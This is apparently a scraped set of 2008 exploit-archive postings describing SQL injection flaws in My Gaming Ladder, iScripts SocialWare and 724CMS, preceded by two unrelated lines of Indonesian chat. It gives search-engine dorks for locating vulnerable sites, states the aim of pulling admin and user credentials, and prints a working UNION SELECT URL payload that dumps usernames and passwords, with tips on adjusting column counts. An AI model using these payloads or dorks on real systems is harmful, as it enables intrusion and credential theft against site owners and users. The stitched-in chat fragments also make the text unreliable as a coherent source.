karna rasa penasaran trus di angkat ma dia, kebetulan wa juga ada di TKP
eh kok ga da suarana....
My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerability AUTHOR: t0pP8uZz SITE: www.mygamingladder.com DORK (altavista.com/googles): "Ladder Scripts by" DESCRIPTION: pull admin/user info from the database
iScripts SocialWare SQL Injection Vulnerbility Discovered By: t0pP8uZz Discovered On: 8 April 2008 SITE: www.iscripts.com DORK (altavista.com): "Powered by iScripts SocialWare" DESCRIPTION: pull admin/user info from database.
724CMS <= 4.01 Enterprise - SQL Injection Vulnerability Found by : Lidloses_Auge Date : 07.04.2008 Contact (ICQ) : 120946783 Greetz to : free-hack.com
Vulnerability Document : index.php GET-Parameter : ID Dork : 724CMS + "Version 4.01"
Example :
http://[target]/index.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x202d20,ID,User_Login,User_Password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+FROM+Users--
Notes : The number of columns isn't always 28. In some cases it can be also about 37. Check before you try. Some of 'em are blind injections. # milw0rm.com [2008-04-07]